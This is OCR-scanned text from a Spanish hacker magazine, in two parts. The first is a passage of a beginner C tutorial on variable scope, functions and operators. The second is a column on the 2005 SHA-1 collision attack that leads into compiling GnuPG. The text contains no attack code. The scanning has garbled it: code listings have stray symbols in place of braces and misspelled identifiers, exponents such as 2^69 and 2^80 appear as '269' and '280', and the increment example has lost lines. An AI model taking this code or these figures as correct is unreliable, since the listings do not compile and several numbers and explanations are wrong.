propio compilador.

3. Ahondando mas
en variables

Una vez vistos los tipos basicos que hay
en C vamos a adentrarnos mas en las

variables, que son basicas en todo pro-
grama. Hemos dicho que son como ca-
jones donde guardamos datos (papeles,
libretas, lo que sea) de un tipo deter-
minado. Ahora bien, édénde estan en
un programa?.

Bueno, para nuestro alivio, no tenemos
que saber donde estan, sino que podemos
“etiquetar” dichos cajones con un nombre
que nos sea significativo. A esto se le
llama identificador. En C deben empezar
con una letra, un simbolo “_" (de subra-
yado) y luego pueden seguirle letras y/o
numeros. El Gnico simbolo que podemos
usar es el _ como parte de la “etiqueta”
que pongamos a nuestros cajones. Como
toda etiqueta, para que sea util debe ser
representativa de lo que guarda nuestro
cajon. Por tanto si en un cajon guardamos
un papel con nuestro salario, pondremos
salario a dicha variable. De otro modo al
mirar el identificador no sabremos qué es
lo que guarda.

La longitud, puede ser la que queramos,
pero sélo los 31 primeros caracteres
seran significativos para nuestro compi-
lador, con esto tenemos mas que sufi-
ciente.

C es un lenguaje bastante ordenado. Me
explico: no nos deja meter nada en un
cajon, si previamente no lo hemos com-
prado/ordenado hacer. Obvio, éverdad?
Pues a esto se le llama declarar una
variable. Asi el compilador lo que hace
es reservar espacio en memoria para

dicha variable. La forma de declarar una
variable en C es la siguiente:

tipo variable_1, variable_2, ..., variable_n;

Aqui se declaran varias variables del
mismo tipo. En este caso variable_1,
variable_2, ..., variable_n, son lo que
hemos llamado anteriormente como iden-
tificadores.

Hasta ahora vamos pasando de la oscu-
ridad a la luz poquito a poco. Mientras
uno aprende ve también un concepto
que es absolutamente fundamental: vi-
sibilidad de las variables. Es decir qué
partes del programa ven a qué variables
y en funcion de qué criterios esto es asi.
Para que nos quede algo claro: en C las
llaves (de los bloques de cédigo {})
hacen que el resto del programa no vea
un pijo dentro de ahi. Es como si cerrasen
un armario (bloque de cdédigo) donde
podemos tener cajones (variables). Por
lo tanto sélo desde dentro de ese armario
son accesibles los distintos cajones.
Vamos a ver otro programita, para relajar
un poco el tostdén :P. Un ejemplo de esto
que digo.(ver listado 3)

Bueno al compilar y ejecutar tenemos
lo siguiente:(ver listado 4)

Primero hay que explicar cdmo hemos
declarado las variables aqui. Dijimos que
declararlas era “comprar o encargar los
cajones”. Técnicamente lo que hacemos

[ /* Segundo programa en C */
// Librerias para E/S
#include <stdio.h>
main()
{
// Declaramos varias variables
int empleados = 3000;
float salario = 1500.37;
char caracter = 's’;
printf("El nimero de empleados es: %i, con un salario de %f \n",empleados,salario);
// Definimos un bloque de cédigo con variables que s6lo pueden verse desde dicho bloque
{
int empleados = 110;
float salario = 2400.56;
printf("El nlmero de empleados es: %:i, con un salario de %f \n",empleados,salario);
printf("El valor de la variable tipo char del bloque externo a este es %c\n",caracter);
¥
¥
Listado 3
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popolous@Ulises Programas C $ gcc segundo.c -0 segundo
popolous@Ulises Programas C $ ./segundo

El nimero de empleados es: 3000, con un salario de 1500.369995
El nimero de empleados es: 110, con un salario de 2400.560059
El valor de la variable tipo char del bloque externo a este es s

Listado 4

es reservar memoria para dichas varia-
bles. En este caso seria asi:

int empleados = 110;

Ademas, hemos inicializado dicha va-
riable, que no es mas que darle un valor
inicial. Es decir, el cajon nos lo ven-
den/dan con algo dentro que nosotros
queramos ya, no tenemos que meterle
nosotros nada. Y como veis y aprovecho
para decirlo, toda sentencia (linea de
codigo) en C debe acabar con un“;”, si
no, dara error.

Aqui se ve claramente que las variables
empleadas y salario que se definieron
dentro del bloque de codigo pueden ver
a las otras variables fuera de él (como la
variable de tipo char llamada caracter
en un rapto de originalidad por mi parte).
Sin embargo, desde fuera no podemos
acceder. Si intentamos lo siguiente, ahora
veremos la gracia de C :P.(ver listado
5)(ver listado 6)

Estd muy claro que nos ha mandado

cerca el programa. Vemos que nasty no
esta accesible por la funcién main. Sin
embargo el bloque si que podia acceder
a las variables de main. Pero... équé
pasa con las variables que tienen el
mismo nombre en el bloque que en la
funcién principal? Pues nada, simplemen-
te que al entrar en el bloque quedan
enmascaradas por las que se definen en
el bloque de codigo.

A este tipo de variables, se les llama
variables locales, porque sélo son ac-
cesibles desde la propia funcion (en este
caso main) o desde el propio bloque de
codigo donde son declaradas. Sin embar-
go, si las declaramos fuera de main
(antes de esta funcién), se llaman glo-
bales. Estas variables son visibles para
todo el codigo y funciones del fichero
donde sean declaradas.

Y hay mas formas de variables, pero eso
lo dejo para una quizas para una
ampliacion. De momento con esto es
mas que suficiente para empezar a ma-
nejarnos con C.

Un tipo especial de variable, seguin dicen
los manuales es la constante. Esto que
puede parecer raro, no lo es tanto, ya
que luego la definen como una variable
que no puede cambiar su valor y se
quedan tan panchos. Hala, si en los
examenes se pudiesen arreglar dudas
asi de sencillo... En fin, una constante
pues se declara igual que si fuese una
variable, con su tipo y todo, sélo que
vamos a decirle al compilador que no
cambie su valor, anteponiendo la palabra
clave const. Se inicializa al mismo tiempo
que se declara, ya que como el programa
no puede modificar su valor, pues es la
Unica forma en que podemos asignarle
algo.

Es un cajon con llave en el que le decimos
al carpintero que meta algo que nosotros
sabemos lo que es, lo podemos ver y
usar (es transparente como el resto de
cajones, ya veis, estos son cajones es-
peciales), pero no podemos abrirlo para
cambiar lo que tiene dentro.

Un ultimo tipo de variable que nos va a
hacer mucha falta es el de variable
parametrizada, que no son mas que
los parametros que se le pasan a una
funcion para poder operar con ellos. El
utilizar parametros para definir las fun-
ciones nos va a valer para poder hacerlas
mas reutilizables.

@

/* Tercer programa en C */

// Librerias para E/S
#include <stdio.h>

main()
{
// Declaramos varias variables
int empleados = 3000;
float salario = 1500.37;
char caracter = 's';
printf("El nimero de empleados es: %i, con un salario de %f \n",empleados,salario);
// Definimos un bloque de cddigo con variables que sdlo pueden verse desde dicho bloque
{
int empleados = 110;
float salario = 2400.56;
char nasty = 'n;
printf("El nimero de empleados es: %i, con un salario de %f \n",empleados,salario);
printf("El valor de la variable tipo char del bloque externo a este es %c\n",caracter);
by
printf("Bonito error al tratar de leer %c\n",nasty);
by
Listado 5
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tercero.c: En la funcion “main':

tercero.c:23: error: for

popolous@Ulises Programas C $ gcc tercero.c

tercero.c:23: error: “nasty' undeclared (first use in this function)
tercero.c:23: error: (Each undeclared identifier is reported only once
each function

-o tercero

it appears in.)

Listado 6

No es lo mismo definir dos variables
globales y luego una funciéon que multi-
pliqgue los dos nimeros contenidos en
esas dos variables globales, por ejemplo,
que una funcion que acepte dos nimeros
como argumentos (variables de entrada
0 paso de argumentos como se llama en
programacion) y devuelva su producto.
Como el movimiento se demuestra an-
dando, ahi va un ejemplo de una funcién
producto que no se puede reutilizar (hay
que definir dos variables globales en
cada nuevo programa que hagamos) y
otra que si. Observad vosotros mismos
las diferencias. Algo de la elegancia de
C (y en general de los lenguajes de
programacion estructurados) se puede
ver aqui.(ver listado 7)

En este vemos que la funcién producto
no es reutilizable, en el sentido de que
no la podemos separar y compilar en un
archivo aparte como libreria (veremos
mas de esto en futuras entregas).
Antes de pegar el cdédigo con una funcién
un poco mas reutilizable, vamos a ver
la diferencia entre declaracion de una
funcion, definicion de una funcion y
llamada a una funcion.

Podemos ver que al igual que las varia-
bles las funciones en C deben declararse
para poder usarse, en este caso eso lo
hacemos con la linea:

int producto(void);

Con esta linea ya le indicamos al compi-
lador que vamos a usar una funcién que

se llama producto que no tiene ningun
parametro y que devuelve un entero.
Hemos declarado la funcion producto.
La definicidn estd al final del codigo, en
las lineas:

// Aqui definimos la funciéon
// producto y co6mo opera
int producto(void)

{

return (numerol*numero2);

Que no es mas que repetir la declaracion
y afiadir el bloque de cddigo correspon-
diente delimitado por llaves. Para que
una funciéon devuelva un valor se usa
return y luego el valor que puede estar
en forma explicita como en este caso, a
través de una expresion o también se
podia haber hecho:

// Aqui definimos la funcion
// producto y como opera
int producto(void)

{
int resultado;
resultado = numerol*numero2;
return resultado;

b

/* Cuarto programa de C */

#include <stdio.h>

int producto(void);
// Variables globales a utilizar

int numerol = 0;
int numero2 = 0;

// int numerol, numero2;

// Declaramos una funcion que devuelve el

// Importamos la libreria estandar de E/S en C

// También se podria haber hecho ya que todas son del mismo tipo:

producto de dos nimeros enteros

main()
{

// Damos valores enteros a las variables globales

numerol = 7;

numero2 = 15;

// Calculamos su producto y lo mostramos por pantalla

printf("El valor del producto de %d y %d es: %d\n",numerol,numero2,producto());
by

// Aqui definimos la funciéon producto y c6mo opera
int producto(void)
{

return (numerol*numero2);

¥

Listado 7
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Ambas formas son equivalentes.
Para la llamada a una funciéon vamos a
usar el otro ejemplo:(ver listado 8)

Este programa tiene pocas cosas que
explicar. Voy a matizar una variante que
no aparecia en el anterior:

int producto(int,int);

Aqui la declaracién indica cantidad de
argumentos y el tipo que tienen esos
argumentos: dos enteros. Aparte, el tipo
de retorno de la funcidn.

La llamada a la funcidn se produce en
esta linea:

resultado = producto(numerol,numero2);

Aqui se llama a producto y el valor que
devuelve, se asigna a una variable. Asi,
sin quererlo ni beberlo hemos visto
asignacion de variables (aunque algo se
vio cuando hablé de inicializacién de las
mismas). Para que esta expresion tenga
sentido en C, deben ser, a priori, del
mismo tipo. Y digo a priori porque no
tiene por qué ser necesariamente asi.
Pero por el momento, como estamos
empezando, vamos a hacer asignaciones
como $DEITY manda. Ya habra ocasion
de rizar el rizo.

Bien, pues con esto ya casi esta lo que
queria contar en este primer articulo.

Para terminar y que podais hacer algunas
cositas ya en C, voy a explicar muy
rapidamente los operadores que hay en

C (los principales), por si queréis ir
experimentando con ellos y ampliar ma-
teria ;-).

4. Bisturi, por favor.

Bien, de modo telegrafico vamos a ver los
operadores. En C tenemos de los siguientes
tipos:

Aritméticos.

Igual que los de “matracas”: operador de
suma (+), resta (=), multiplicacién (*),
divisién (/) - este operador funciona dis-
tinto si la division es entre nimeros enteros
o reales, resto de la division entera (%),
que sélo funciona entre nimeros enteros.
Todos estos son binarios, es decir, actian
con dos operandos: sumandos en la suma,
minuendo y sustraendo en la resta, divi-
dendo vy divisor en la divisiéon, multiplican-
dos, etc.

También tenemos operadores aritméticos
monarios, es decir que actlian sobre un
solo elemento. Estos son incremento (++)
y decremento (--). Un ejemplo para que
lo tengdis mas claro:

Incremento: Se puede poner ++Xx; 0
también x++; y es equivalente a poner

/* Quinto programa de C */
// Importamos la libreria estandar de E/S en C

#include <stdio.h>

int producto(int,int);

int producto(int numero1l,int numero2)

{

return (numerol*numero2);

// Declaramos una funcion que devuelve el producto de dos numeros enteros

main()
{

int numerol, numero2, resultado;

numerol = 7;

numero2 = 15;

resultado = producto(numerol,numero2);

// Calculamos su producto y lo mostramos por pantalla

printf("El valor del producto de %i y %i es: %i\n",numerol,numero2,resultado);
}

// Aqui definimos la funcién producto y cdmo opera

Listado 8
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x = x + 1;. La diferencia entre ambos se
ve clara con este ejemplo:

x = 10;
X++;

Cuando esto se ejecuta x queda como 11
e y como 10, ya que primero se hace la
asignacion y luego el incremento. En cam-
bio en:

= 10;
++X;

En ambos casos ambas variables tendran
el valor de 11 (si no me creéis seria buen
ejercicio que lo comprobarais). En estos
dos ejemplos x siempre toma el valor de
11, pero la diferencia estd en cuando
cambia de valor (antes o después de la
asignacion).

Decremento: En este caso seria -=x; 0
también x--. Con las mismas diferencias
entre la forma prefija (la primera) y la
postfija (la segunda) que para el caso del
incremento.

También se pueden abreviar asignaciones
si en ambos lados interviene la misma
variable. Por ejemplo:

X=X+ 3;

Se puede abreviar poniendo simplemente:

Y esto se puede hacer también con -=,
*=, /=. Pero 0jo, la misma variable en
ambos sitios. Aunque luego venga todo
un chorizo detrads. Si tenemos:
Variable = Variable operador algo
Se puede reducir a su forma equivalente:
Variable operador= algo;

Relacionales y ldgicos.

Estos tipos se usan para determinar una
relacion (operadores relacionales) y las
formas en que estas relaciones pueden
conectarse (operadores ldgicos).
Dentro de los primeros tenemos los que
ya sabréis todos por matematicas:
P Mayor que (>)

P Menor que (<)

P Mayor o igual que (>=)

P Menor o igual que (<=)

P Igual que (==
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b Distinto (!=)
Y los légicos:

P Y logico (&&) (Verdad si y sdlo si los
dos operandos son ciertos)

P O ldgico (||) (Verdad si al menos uno
de ellos es verdadero)

P NO (1)

En el caso de los légicos he puesto un
resumen de la tabla de verdad de ellos.
Unos y otros se combinan para formar
expresiones que nos permitiran control
de flujo de programas y otras cosillas mas
que se iran viendo a lo largo del curso.
Por ultimo, voy a citar a los operadores a
nivel de bits y que también utilizaremos
alguna vez, de momento aqui os los pre-
sento:

P Y (&) a nivel de bits

P O (]) a nivel de bits

P O exclusiva () XOR

P Complemento a uno ~

P Desplazamiento a la derecha >>

PDesplazamiento a la izquierda <<
Hay mas (como sizeof (), ?, la coma",”
como operador, para punteros), pero los
dejaremos para mas adelante, que si no,
esto es un empacho y hay que mantener
el interés por aprender este fascinante
lenguaje de programacién. Como regalito
final os dejo una tabla de precedencia de
todos los operadores que tiene C para
futuras referencias y para que la tengais,
claro esta ;-).

Mayor 0n-=

I~ -- -(tipo) * & sizeof
= %

Menor

Antes de despedirme hasta el préoximo
numero os digo que a estas alturas, sabéis,
al menos, tanto como yo sobre C... y si
habéis sido curiosos mas aun. Os invito a
que practiquéis y machaquéis estos con-
ceptos y si tenéis dudas, estaré encantado
de responderlas en el foro:

http://www.hackxcrack.com/phpBB2/in
dex.php

Hasta el siguiente articulo. Espero que
haya sido de vuestro agrado. Para cualquier
sugerencia y/o critica, fe de erratas, estaré

gustoso de recibirlas en el foro. Saludos.

610529171

precios desde
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Bienvenidos de nuevo al rincon mas criptico de la revista. Espero que el primer articulo os haya
gustado. :-)

En este segundo articulo vamos a conocer al "hermano libre" de PGP, GhnuPG, ademas de conocer

algunas de las interfaces graficas disponibles para el mismo. Como ya conocemos las bases del

funcionamiento del sistema OpenPGP del articulo anterior, no tiene sentido repetirlas de nuevo...

pero si vamos a profundizar un poquito mas. Si alguien se siente perdido con toda la teoria del
sistema, puede echar mano del articulo anterior para aclararse.

Pero antes de entrar de lleno con nuestro querido GnuPG, vamos a hablar de algo que esta de ac-

tualidad en el mundo de la criptografia y que, aunque os pueda parecer lo contrario, estd muy rela-

cionado con el sistema OpenPGP. Al que no le interese mucho esta parte, puede saltar tranquilamen-

te a la parte de GnuPG, siempre que no le importe arder eternamente en las llamas del infierno
reservado a los "faltos de curiosidad". }:-D

Autopsia del ataque a SHA-1

Es curioso ver que el mundo de la criptografia, donde mu-
cha gente piensa que ya esta todo inventado, esta tan vivo
como estuvo en los tiempos de Bletchley park y Mr. Turing.
Hace un par de meses, en el articulo anterior, mientras ex-
plicaba los algoritmos hash dije:

<<SHA-1 (Secure Hash Algorithm), 1994. SHA-1 naci6 de
manos del NIST como ampliacién al SHA tradicional. Este
algoritmo, pese a ser bastante mas lento que MD5, es mu-
cho mas seguro, pues genera cadenas de salida de 160
bits (a partir de entradas de hasta 264 bits) que son mu-
cho mas resistentes a colisiones simples y fuertes.>>

Pues parece que el destino quiso quitarme la razon, porque
apenas unos dias después de que saliera a la venta la re-
vista, el 15 de Febrero, salta la liebre en las comunidades
dedicadas a la criptografia: Bruce Schneier ha publicado
en su blog una bomba: SHA-1 ha sido roto:

http://www.schneier.com/blog/archives/2005/02/shal_bro

ken.html
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¢Qué? ¢éRoto?? Comienzan las elucubraciones y la gente
comienza a opinar sobre las implicaciones de este hecho...
pero en realidad todavia no se conocen ni los detalles, solo
una somera nota de los resultados obtenidos por los inves-
tigadores Xiaoyun Wang, Yiqun Lisa Yin, y Hongbo Yu (Uni-
versidad de Shandong, China).

Si nos atenemos al algoritmo SHA-1 propiamente dicho,
este ataque ha permitido su criptoanalisis en 269 opera-
ciones frente a las 280 que cabrian esperar en un algorit-
mo de su clase y longitud. ¢Qué significa eso realmente?
AUn no se conocen los detalles y tampoco si este ataque
logré obtener colisiones simples, colisiones fuertes...

Dos dias después, el dia 17, pudimos tener acceso a un
documento original con los resultados (fechado el dia 13
de Febrero), pero en él no se trata el ataque a SHA-1, sino
Unicamente uno al SHA original y otro a una version sim-
plificada de SHA-1.

http://theory.csail.mit.edu/~yiqun/shanote.pdf
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Al dia siguiente, el dia 18, el mismo
Bruce Schneier publica en su blog mas
detalles sobre el criptoanalisis aplicado
a SHA-1:

http://www.schneier.com/blog/archive
s/2005/02/cryptanalysis_o.html

En los foros, listas y comunidades de
seguridad se sigue hablando timida-
mente del tema, pero realmente poca
gente comprende las implicaciones rea-
les, a corto y medio plazo, que ha teni-
do este ataque sobre el que es, hoy por
hoy, el principal algoritmo hash en la
criptografia moderna.

Antes de nada, deberiamos hacer un
pequefio repaso a las caracteristicas de
un algoritmo hash para entender bien la
explicacién:

Unidireccional: Una funcidon hash
es irreversible, y dada una salida
de la misma, es computacional-
mente imposible recomponer la
entrada que la genero.

Compresion: Dado un tamafio
cualquiera de entrada para la
funcién hash, la salida de la mis-
ma sera de una longitud fija.

Difusiéon: La salida de la funcion
hash es un resumen complejo de
la totalidad de la entrada, es decir,
se usan TODOS los bits de la mis-
ma.

Resistencia a las colisiones sim-
ples: Esta propiedad nos indica
que dado un valor de entrada de
la funcion hash, es computacional-
mente imposible encontrar otra
entrada que genere el mismo va-
lor de salida.

Resistencia a las colisiones fuer-
tes: Esta propiedad nos indica que
es computacionalmente muy dificil
encontrar dos valores de entrada
que generen un mismo valor de
salida.

Como podemos ver, tenemos tres carac-
teristicas "fijas" que son implementadas
en el propio algoritmo: unidireccionali-
dad (también conocida como resistencia
a la preimagen), compresion y difusion.
Las debilidades, por tanto, se nos pue-
den presentar en la resistencia a las co-
lisiones simples (también conocida co-
mo resistencia a la segunda preimagen)
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y en la resistencia a las colisiones fuer-
tes (también conocida como resistencia
a la colisidn).

Debemos tener en cuenta un par de co-
sas cuando pensemos en las colisiones
de un sistema de hash:

P El conjunto de los posibles valores de
entrada tiene cardinal infinito, puesto
que en principio podemos aplicar el al-
goritmo de hash a cualquier entrada.
Esto no se cumple para SHA-1 en con-
creto, dado que esta limitado a entradas
de tamafio menor o igual a 2764 bits.
Por tanto para SHA-1 concretamente
nos encontramos con 2°(2764) posi-
bles entradas, es decir, 2~(1.8%¥10719).
No he calculado el valor concreto (mas
que nada porque Kcalc se desborda :-D)
pero es una auténtica burrada y para
nosotros eso nos vale como infinito...

P El conjunto de posibles valores de sa-
lida tiene un cardinal finito que viene
definido por 2~n donde n es el nimero
de bits de la salida generada, es decir,
por la propiedad de compresion. En
SHA-1 tenemos 27160 posibles salidas
(1.46*1017438).

De estas dos propiedades deducimos
que es imposible que toda entrada ten-
ga una salida diferente, puesto que el
cardinal del conjunto de entrada es ma-
yor que el de salida. Asi pues, si gene-
ramos (2°160)+1 mensajes, sera inevi-
table que al menos dos de ellos posean
el mismo valor de hash.

Hasta ahi la teoria de las colisiones. En
la practica encontramos dos tipos de co-
lisiones:

P Colisiones simples: Si dado un mensa-
je de entrada concreto, somos capaces
de encontrar otro de forma que ambos
posean el mismo valor de hash, nos en-
contramos ante una colision simple.

P Colisiones fuertes: Si somos capaces
de encontrar dos mensajes de entrada
con un mismo valor de hash, nos en-
contramos ante una colisién fuerte.

Y es la hora de hablar de colisiones y
cumpleafios (y que conste que aun no
he perdido la cabeza).

Vamos a trasladar las colisiones simples
a un ejemplo que sea mas facil de dige-
rir... imaginad que un hombre entra en
una fiesta y desea saber las posibilida-
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des de que otra persona cumpla afios el
mismo dia que él. Para los que no ten-
gan la combinatoria muy al dia o no les
apetezca pensar mucho, las posibilida-
des son 1-(364/365)”n. Es decir, para
que las posibilidades sean superiores al
50% es necesario que haya 253 perso-
nas en esa fiesta.

Ahora pensemos en las colisiones fuer-
tes... imaginemos ahora que queremos
estudiar las probabilidades de que dos
personas cuales quiera cumplan afios el
mismo dia. Las posibilidades ahora son
1-[365!/(365~"n*(365-1)!)], o sea que
ahora Unicamente son necesarias 23
personas o mas para que las posibilida-
des sean superiores al 50%.

A este modelo matematico se le conoce
como "ataque del cumpleanos".

¢Y qué significa esto en la practica?
Significa que si quisiéramos lanzar un
ataque de fuerza bruta contra un algorit-
mo de hash de n bits, necesitariamos
realizar teéricamente 2~n operaciones
para encontrar una colision simple, mien-
tras que para encontrar una colision fuer-
te necesitariamos realizar Unicamente
27~(n/2). En el caso particular de SHA-1
nos encontramos con que en teoria serian
necesarias 2160 operaciones para obte-
ner una colisién simple y 2°80 para obte-
ner una colision fuerte.

Supongo que ahora ya se entienden un
poco mejor las implicaciones del ataque
a SHA-1. Como hemos dicho, la teoria
nos dice que para obtener una colisidon
fuerte necesitariamos 2780 operacio-
nes, y mediante el ataque del que esta-
mos hablando se obtiene en solamente
2769 operaciones. Puede parecer que
no es mucha, pero dado que cada bit en
el exponente duplica la complejidad (co-
mo ya dije en el primer articulo), la di-
ferencia entre 27269 y 2780 es enorme,
unas dos mil veces mas sencillo (con-
cretamente 2711, 2048).

Las implicaciones practicas de esto a
corto plazo no son tan graves como mu-
cha gente se aventurd a anunciar. El
sistema OpenPGP no ha dejado de ser
seguro, pues aunque SHA-1 sea dos mil
veces mas sencillo de comprometer, si-
gue siendo una tarea muy compleja.

Ademas, para poder falsificar un men-
saje seria necesario encontrar una
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colision simple, y eso sigue requiriendo
27160 operaciones, lo cual es a todas
luces seguro. Lo que si seria posible es
crear dos mensajes cuya firma sea la
misma, y aunque no es lo mismo, si es
algo a tener en cuenta.

A largo plazo las implicaciones son peo-
res, dado que la potencia de célculo au-
menta constantemente, y lo que hoy es
complicado, mafana es sencillo... el
precalcular colisiones fuertes en SHA-1
ya solo es cuestion de el tiempo que se
quiera invertir en ello.

No obstante, el alarmismo que ha cundi-
do es injustificado, pues hay muchos sis-
temas que han sido rotos, como MD5,
SHA-0, DES y otros tantos, que siguen
siendo usados. De hecho, como comenté
en el primer articulo, MD5 sigue siendo
un estandar de facto, y hace mucho tiem-
po que fue comprometido en una forma
similar a la que acaba de serlo SHA-1. La
diferencia estd en que ahora mismo se
confia en MD5 para tareas de "baja" se-
guridad (como checksums de imagenes
ISO) mientras que se confia en SHA-1
para aplicaciones mas criticas, como fir-
ma vy certificados digitales.

¢Qué camino va a tomar la comunidad
criptografica? La gente de la PGP
Corporation ya han anunciado que en su-
cesivas versiones incluiran nuevos algo-
ritmos, sin prisa, pero de forma segura.

Asi mismo se va mirando hacia nuevos
algoritmos para reponer al herido SHA-1:

b SHA-256, SHA-384, SHA-512: Versio-
nes de 256, 384 y 512 bits respectiva-
mente de SHA. Corren rumores de que
PGP se inclinara por alguno de estos al-
goritmos. Podéis encontrar mas infor-
macién acerca de ellos en:

http://csrc.nist.gov/encryption/shs/sha?2
56-384-512.pdf

P RIPEMD-160: Algoritmo de hash de
160 bits disefiado por Hans Dobbertin,
Antoon Bosselaers, y Bart Preneel.
Definitivamente no es un sustituto de
SHA-1, pues también ha sufrido ataques
de criptoanalisis que han permitido en-
contrar colisiones:

http://eprint.iacr.org/2004/199.pdf
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Si es factible, no obstante, la
implementacion de versiones mas po-
tentes de RIPEMD, como RIPEMD-320.

P Tiger: Algoritmo de hash de 192 bits
disefiado en 1996 por Ross Anderson y
Eli Biham. Esta especialmente optimiza-
da para ser utilizada en procesadores de
64 bits, y es vista con buenos ojos por
los expertos. Podéis encontrar mas
informacion sobre Tiger en:

http://www.cs.technion.ac.il/~biham/Re
ports/Tiger/

P WhirPool: Algoritmo de hash de 512
bits disefiado por Vincent Rijmen y
Paulo S. L. M. Barreto. No es muy cono-
cido, y dado que gran parte de su con-
fiabilidad se basa en su gran longitud,
resulta bastante lento computacional-
mente hablando. Podéis leer mas sobre
WhirPool en:

http://planeta.terra.com.br/informatica/
paulobarreto/WhirlpoolPage.html

En cualquier caso, el futuro no parece
pasar por la convocacién de un concur-
so al estilo AES para que la comunidad
internacional lance sus propuestas y de
ellas salga el nuevo estadndar de has-
hing. Algunos expertos, entre ellos
Bruce Schneier, ya lo estan pidiendo.

Bien, espero que ahora tengais mas cla-
ras las implicaciones del ataque criptoa-
nalitico sobre SHA-1. Ahora podemos
meternos de lleno con GnuPG. :-)

GNU Privacy Guard:
Un poco de historia

GNU Privacy Guard (al que nos referire-
mos como GPG) es una implementacion
libre del sistema OpenPGP (descrito en
el RFC #2440, como ya dijimos en el
articulo anterior). Ofrece compatibilidad
con PGP e implementa todos los mismos
algoritmos que éste menos el algoritmo
de cifrado simétrico IDEA, por ser éste
aun un algoritmo patentado en ciertos
paises. Aun asi, es posible anadir la
implementacion del mismo al sistema
hasta que sea oficialmente incluido en
2007 (cuando caduque la patente).

El sitio oficial de GPG es:

http://www.gnupg.org/
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Existen muchas ventajas derivadas de
que GPG sea software libre, como por
ejemplo la gran cantidad de sistemas
soportados (GNU/Linux, GNU/Hurd,
FreeBSD, OpenBSD, NetBSD, Microsoft
Windows, PocketConsole, Mac OS X,
AIX, BSDI, HPUX, IRIX, MP-RAS, OSF1,
0S/2, SCO UnixWare, SunOS, Solaris y
USL UnixWare) o la disponibilidad total
de su cddigo fuente (y no Unicamente
como material de consulta, como en el
caso de PGP). Los que me conocen sa-
ben que soy fiel defensor del software
libre, pero no es éste el sitio para hablar
de las ventajas de usar este tipo de
software... Unicamente queria apuntar
algunas ventajas de GPG sobre PGP.

La version 1.0.0 de GPG fue liberada el
7 de Septiembre de 1999, y desde en-
tonces han continuado publicandose
versiones actualizadas. Actualmente las
Ultimas versiones disponibles son la
1.4.0 de la rama estable y la 1.9.15 de
la rama de desarrollo. Como en otros
casos de software critico, recomiendo
encarecidamente optar siempre por la
version estable.

A la hora de realizar las practicas con
GPG, podréis seguirlas con cualquier
sistema soportado (o sea, que los usua-
rios de Windows podéis también disfru-
tar de GPG :-P), si bien la parte en que
tratamos las diversas interfaces graficas
esta dedicada para los usuarios de sis-
temas Unix-like (y mas concretamente,
GNU/Linux). Los "windowseros" que no
se me quejen, que el de PGP fue entero
para ellos... ;-)

Las versiones que yo he utilizado para
desarrollar el articulo son:

» GnuPG 1.4.0-2 bajo GNU/Linux
Debian SID.

» GPA 0.7.0-1 bajo GNU/Linux Debian
SID.

» Kgpg 3.3.2-1 bajo GNU/Linux Debian
SID.

» GnuPG 1.4.0 bajo Microsoft Windows
XP SP1. (éPero alguien usa el Spyware
Pack 2? :-D)

Para instalar GPG hay dos opciones: ba-
jar los binarios precompilados, o bien
compilar nosotros mismos el cédigo
fuente de la aplicacion.

Lo mas comodo es utilizar los binarios
precompilados (los que seais debianitas
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como yo... apt-get install gnupg :-P),
pero aun asi vamos a ver como compi-
lar nosotros mismos el programa en sis-
temas Linux.

Compilando GnuPG

Lo primero es bajar el paquete con las
fuentes de la siguiente direccion:

ftp://ftp.gnupg.org/gcrypt/gnupg/gnup
g-1.4.0.tar.gz

Para comprender mejor los co-
mandos de consola que vamos a
utilizar, es imprescindible que co-
nozcais al menos por encima el
significado del prompt de la shell
de Linux. En mi articulo os encon-
traréis con dos tipos de ellos:

master@blingdenstone:~$

Podemos dividir este prompt en
tres partes:

La primera son los datos del usua-
rio: "master", que es el usuario
que estd ejecutando la shell;
"blingdenstone" que es el dominio
en el que se encuentra el usuario
(en este caso, el nombre de la
maquina); y el simbolo "@" que
denota pertenencia. Asi pues
"master@blingdenstone" significa
"esta sesion es del usuario master,
perteneciente al dominio blingden-

stone".
El simbolo ":" denota la separa-
cion entre las dos partes del
prompt.

La segunda parte del prompt son
los datos relativos a la sesion: en
primer lugar tenemos el directorio
de trabajo y que en este caso es
"~", simbolo con el que denota-
mos al directorio home del usuario
que ejecuta la shell; y luego un
simbolo que puede ser "$" 6 "#"
para usuarios sin privilegios y con
privilegios respectivamente.

La tercera parte es el propio co-
mando que nosotros introducimos,
y que puede ser lo que nos dé la
gana.

Por tanto, este prompt significaria
a grandes rasgos "el usuario mas-
ter, perteneciente al dominio
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blingdenstone, que se encuentra
en su directorio home y que no
dispone de privilegios especiales,
desea ejecutar...".

El otro tipo de prompt que veréis
es:

blingdenstone:/home/master#

Es igual que el anterior pero con
un pequefio detalle: no especifica
el usuario que esta ejecutando la
shell. Esto es asi porque (y esto
nos lo indica el simbolo "#") el
usuario en este caso es el root de
la maquina, y por tanto se denota
su prompt Unicamente con el
nombre de la misma.

Este prompt significaria "el root
del dominio blingdenstone, que se
encuentra en /home/master, de-
sea ejecutar...". No indicamos que
se trata de un usuario privilegiado
porque se sobreentiende que el
root siempre lo es (para los mas
frikis: si, sé que puede no ser
siempre asi... :-P).

Estos dos tipos de prompt son los
gque encontraréis en una
distribucion Debian (la que yo
uso) o cualquiera de sus deriva-
das. Para otras distribuciones (co-
mo SuSe, Fedora, Mandrake...)
puede variar ligeramente.

Ahora que ya lo tendréis en el disco du-
ro, vamos a aprovechar para practicar
cosas ya vistas. Comprobemos que te-
nemos todos el mismo paquete para
compilar... para ello aqui os dejo el hash
MD5 y SHA-1 del paquete. Que cada
cual elija el que mas le guste (podéis
usar md5sum y shalsum para compro-
bar los respectivos hashes en Linux):
(ver listado 1)

Bien, ahora procederemos a descompri-
mirlo con el siguiente comando:

master@blingdenstone:~$ tar xvfz
gnupg-1.4.0.tar.gz

Ahora debemos situarnos en el directo-
rio que contiene las fuentes:

master@blingdenstone:~$ cd gnupg-
1.4.0

master@blingdenstone:~/gnupg-1.4.0$

Observad como ha cambiado el directo-
rio de trabajo...

Bien, llegados a este punto siempre es
bueno hacer un Is y echar un vistazo a
los ficheros que nos encontramos para
buscar el que contenga las instrucciones
de instalacién del programa (que nor-
malmente se llamard INSTALL), pero en
nuestro caso os voy a ahorrar el traba-
jo: hay que ejecutar el script de auto-
configuracion:

master@blingdenstone:~/gnupg-1.4.0$
./configure

Y aqui comienza una larga lista de com-
probaciones automaticas que sirven para
determinar si tu sistema esté preparado
para hacer funcionar el programa que
pretendes compilar, asi como la
configuracion de compilacion necesaria
para el mismo. Este paso es necesario
para evitar que compiles a lo loco el pro-
grama y luego te encuentres con que ne-
cesitas una libreria que no esta instalada.

Los errores en esta parte pueden ser de
